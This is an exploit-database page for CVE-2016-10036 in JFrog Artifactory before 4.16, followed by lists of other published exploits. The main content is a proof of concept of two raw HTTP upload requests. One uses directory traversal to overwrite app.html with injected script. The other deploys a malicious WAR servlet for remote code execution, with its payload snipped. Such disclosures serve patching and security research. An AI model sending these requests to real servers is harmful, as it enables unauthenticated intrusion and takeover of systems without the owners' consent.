Menu

Search for hundreds of thousands of exploits

"Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution"

Author

Exploit author

"Alessio Sergi"

Platform

Exploit platform

linux

Release date

Exploit published date

2018-04-26

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
# Exploit Title: Jfrog Artifactory < 4.16 - Unauthenticated Arbitrary File Upload / Remote Command Execution
# Date: 2018-04-25
# Exploit Author: Alessio Sergi
# Vendor Homepage: https://jfrog.com/artifactory/
# Software Link: https://bintray.com/jfrog/artifactory/download_file?file_path=jfrog-artifactory-oss-4.15.0.zip
# CVE : CVE-2016-10036
 
Jfrog Artifactory < 4.16 is vulnerable to unauthenticated arbitrary file upload and directory traversal vulnerabilities.
The vulnerabilities are within the upload api "/artifactory/ui/artifact/upload", require that "Allow Anonymous Access" is enabled (as it is on a default installation) and can be abused to create or overwrite files on the server. Specifically, it is possible to create or overwrite any files inside the application folder (scenario 1) or deploy a new application (scenario 2) and execute arbitrary code on the server.


Scenario 1: It is possible to modify the html files of the application just by executing an http post request like the one below, which exploits a directory traversal vulnerability on the parameter "filename" to insert the javascript code "<SCRIPT>alert(/Vulnerable/)</SCRIPT>" within the file app.html :

******

POST /artifactory/ui/artifact/upload HTTP/1.1
Host: [removed]
User-Agent: [removed]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 1749
Content-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687
Connection: close

-----------------------------6085305491255810029929874687
Content-Disposition: form-data; name="file"; filename="../../../tomcat/webapps/artifactory/webapp/app.html"
Content-Type: application/zip

<!DOCTYPE html>
<html ng-app="artifactory.ui">
<head>
    <meta charset="UTF-8">
    <meta name="google" content="notranslate">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

    <link rel="icon" type="image/x-icon" href="images/favicon.40350.ico"/>

    <!-- Stylesheets -->
    <link rel="stylesheet" href="css/vendorStyles.40350.css"/>
    <link rel="stylesheet" href="css/application.40350.css"/>

    <title></title>
</head>

<body jf-body-class ng-class="{'load-complete':jfBodyClass.isLoadCompleted()}">
<jf-spinner domain="body"></jf-spinner>
<toaster-container></toaster-container>

<ui-view></ui-view>

<!-- Javascript -->
<script type="text/javascript" src="vendorScripts.40350.js"></script>
<script type="text/javascript" src="templates.40350.js"></script>

<!-- Application code -->
<script src="artifactory_core.40350.js"></script>
<script src="artifactory_services.40350.js"></script>
<script src="artifactory_dao.40350.js"></script>

<script src="artifactory_ui.40350.js"></script>
<script src="artifactory_ui_components.40350.js"></script>
<script src="artifactory_directives.40350.js"></script>
<script src="artifactory_filters.40350.js"></script>

<script src="artifactory_views.40350.js"></script>
<script src="artifactory_states.40350.js"></script>
<script src="artifactory_main.40350.js"></script>
<SCRIPT>alert(/Vulnerable/)</SCRIPT>

</body>
</html>


-----------------------------6085305491255810029929874687--

******

(It is also possible to exploit this vulnerability to create JSP files within the application folder, but the tomcat used by Artifactory on a default installation won't execute them.) 



Scenario 2: 

It is possible to exploit the same vulnerability to deploy a malicious servlet application on the tomcat server and obtain remote code execution:

******

POST /artifactory/ui/artifact/upload HTTP/1.1
Host: [removed]
User-Agent: [removed]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 3515
Content-Type: multipart/form-data; boundary=---------------------------6085305491255810029929874687
Connection: close

-----------------------------6085305491255810029929874687
Content-Disposition: form-data; name="file"; filename="../../../tomcat/webapps/malicious-servlet.war"
Content-Type: application/zip

PK��3[--SNIP--]
WEB-INF/lib/PK������r��>����

-----------------------------6085305491255810029929874687--

******
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-04-26 "Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution" webapps linux "Alessio Sergi" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected